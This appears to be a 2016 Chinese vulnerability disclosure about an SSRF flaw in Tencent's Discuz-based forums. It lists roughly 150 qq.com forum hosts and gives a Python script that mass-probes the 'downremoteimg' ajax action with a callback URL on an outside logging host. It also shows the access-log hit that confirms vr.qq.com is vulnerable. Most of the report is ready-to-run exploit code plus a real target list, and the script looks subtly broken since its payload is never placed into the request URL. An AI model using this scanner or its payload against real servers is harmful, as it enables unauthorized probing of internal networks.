腾讯某论坛存在SSRF漏洞（附批量捡漏脚本） ------ 20160614

http://fight.gamebbs.qq.com
 http://qqhx.gamebbs.qq.com  http://bbs.digi.qq.com  http://bbs.write.qq.com  http://ff.gamebbs.qq.com  http://bbs.baby.qq.com  http://myhn.qq.com  http://bbs.e.qq.com  http://tpai.qq.com  http://bbs.fanli.qq.com  http://bbs.house.qq.com  http://xia.gamebbs.qq.com  http://bbs.cb.qq.com  http://bbs.ac.qq.com  http://club.auto.qq.com  http://bbs.open.qq.com  http://shouyou.qq.com  http://bbs.im.qq.com  http://qqbattle.gamebbs.qq.com  http://nz.gamebbs.qq.com  http://xx.gamebbs.qq.com  http://xb.gamebbs.qq.com  http://bbs.m.qq.com  http://forum.discuz.qq.com  http://bbs.cd.qq.com  http://myln.qq.com  http://ktv.gamebbs.qq.com  http://gf.gamebbs.qq.com  http://bbs.xian.qq.com  http://gamebbs.qq.com  http://ppjz.gamebbs.qq.com  http://dm.gamebbs.qq.com  http://ffo.gamebbs.qq.com  http://sg.gamebbs.qq.com  http://xb.qq.com  http://bbs.zt.qq.com  http://mygd.qq.com  http://xj.gamebbs.qq.com  http://xb.qq.com:8080  http://bbs.gj.qq.com  http://bbs.vip.qq.com  http://bbs.sports.qq.com  http://bbs.weiqi.qq.com  http://lol.gamebbs.qq.com  http://bbs.finance.qq.com  http://d2.gamebbs.qq.com  http://fs.gamebbs.qq.com  http://myfj.qq.com  http://mysh.qq.com  http://ch.gamebbs.qq.com  http://qqxy.gamebbs.qq.com  http://codol.gamebbs.qq.com  http://ava.gamebbs.qq.com  http://fo.gamebbs.qq.com  http://bbs.lol.qq.com  http://wang.gamebbs.qq.com  http://bbs.games.qq.com  http://bbs.omd.qq.com  http://tps.gamebbs.qq.com  http://tiantang2.gamebbs.qq.com  http://qqgame.gamebbs.qq.com  http://bbs.yun.qq.com  http://yl.gamebbs.qq.com  http://bbs.wifi.qq.com  http://bns.gamebbs.qq.com  http://nba2k.gamebbs.qq.com  http://bbs.blog.qq.com  http://r2.gamebbs.qq.com  http://bbs.open.t.qq.com  http://ld2.gamebbs.qq.com  http://yu.gamebbs.qq.com  http://qgamepailei.gamebbs.qq.com  http://hao.wsq.qq.com  http://c9.gamebbs.qq.com  http://ss.gamebbs.qq.com  http://hxsj.gamebbs.qq.com  http://bbs.xg.qq.com  http://x52.gamebbs.qq.com  http://bbs.book.qq.com  http://9j.gamebbs.qq.com  http://speed.gamebbs.qq.com  http://djt.qq.com  http://qyzs.gamebbs.qq.com  http://bbs.auto.qq.com  http://myhb.qq.com  http://code.qq.com  http://bbs.tech.qq.com  http://wf.gamebbs.qq.com  http://daoju.gamebbs.qq.com  http://qqbaby.gamebbs.qq.com  http://dzs.gamebbs.qq.com  http://bbs.lady.qq.com  http://bbs.kid.qq.com  http://bbs.browser.qq.com  http://dnf.gamebbs.qq.com  http://s3.gamebbs.qq.com  http://sl.gamebbs.qq.com  http://woz.gamebbs.qq.com  http://bbs.edu.qq.com  http://bbs.fj.qq.com  http://qqtang.gamebbs.qq.com  http://xxz.gamebbs.qq.com  http://bbs.pcmgr.qq.com  http://myxian.qq.com  http://xiaoyuan.qq.com  http://mycd.qq.com  http://cf.gamebbs.qq.com  http://ug.qq.com  http://myzj.qq.com  http://bbs.meishi.qq.com  http://bbs.astro.qq.com  http://7.gamebbs.qq.com  http://3366.gamebbs.qq.com  http://meng.gamebbs.qq.com  http://baoshi.gamebbs.qq.com  http://bbs.guanjia.qq.com  http://mo.gamebbs.qq.com  http://bbs.cf.qq.com  http://bbs.gd.qq.com  http://bbs.comic.qq.com  http://vr.qq.com  http://mycq.qq.com  http://tiantang.gamebbs.qq.com  http://bbs.map.qq.com  http://cheng.gamebbs.qq.com  http://tnt.gamebbs.qq.com  http://myhenan.qq.com  http://xy.gamebbs.qq.com  http://h2.gamebbs.qq.com  http://bbs.show.qq.com  http://bbs.wan.qq.com  http://bbs.ent.qq.com  http://qqsh.gamebbs.qq.com  http://mama.kid.qq.com  http://bbs.cq.qq.com  http://bbs.qt.qq.com  http://age.gamebbs.qq.com  http://bbs.fashion.qq.com  http://bbs.v.qq.com  http://bbs.mail.qq.com  http://bbs.ms.qq.com  http://pet.gamebbs.qq.com  http://bl.gamebbs.qq.com  http://bbs.hb.qq.com  http://x.gamebbs.qq.com  http://bbs.tgp.qq.com  http://hon.gamebbs.qq.com  http://jh.gamebbs.qq.com  http://zg.gamebbs.qq.com  https://xb.qq.com  http://9.gamebbs.qq.com  http://bbs.shang.qq.com  http://ye.gamebbs.qq.com  http://bbs.news.qq.com  http://bbs.qa.qq.com  http://bbs.chuangshi.qq.com  http://x5.gamebbs.qq.com[/code] 
#2 建立批量检测脚本捡漏

code 区域
#!/usr/bin/env python

# encoding: utf-8

import urlparse

import random

import time

import re

import requests

from utils.fileutils import FileUtils

import requests.packages.urllib3

requests.packages.urllib3.disable_warnings()

for website in FileUtils.getLines('qqdz.lst'):

request = requests.session()

try:

forumurl = "{website}/forum.php".format(website=website)

response = request.get(forumurl, timeout=5, verify=False)

formhash = re.findall(r'formhash" value="(.*?)"',response.content)

netloc = urlparse.urlparse(website).netloc

payload = 'http://fuzz.wuyun.com/404.php?s={netloc}.jpg'.format(netloc=netloc)

url = "{website}/forum.php?mod=ajax&action=downremoteimg&formhash={formhash}&message=".format(

website=website,

formhash=formhash[0] if formhash else '',

payload=payload)

response = request.get(url, timeout=5, verify=False)

print url, len(response.content)

except Exception, e:

print website, e


上面的 fileutils 库在这里
 http://fuzz.wuyun.org/src/fileutils.py 

漏洞证明：
#3 批量跑一边，在fuzz.wuyun.com的httpd查看请求日志

code 区域
119.29.69.176 - - [12/Jun/2016:11:00:45 +0800] "GET /404.php?s=vr.qq.com.jpg HTTP/1.1" 404 282 "-" "-"


#4 捡到一个漏打补丁的论坛
 http://vr.qq.com/forum.php 
code 区域
IP:119.29.69.176

广东省广州市 腾讯云计算（北京）有限责任公司 腾讯集团



修复方案：
# 论坛那么多，总有漏掉的案例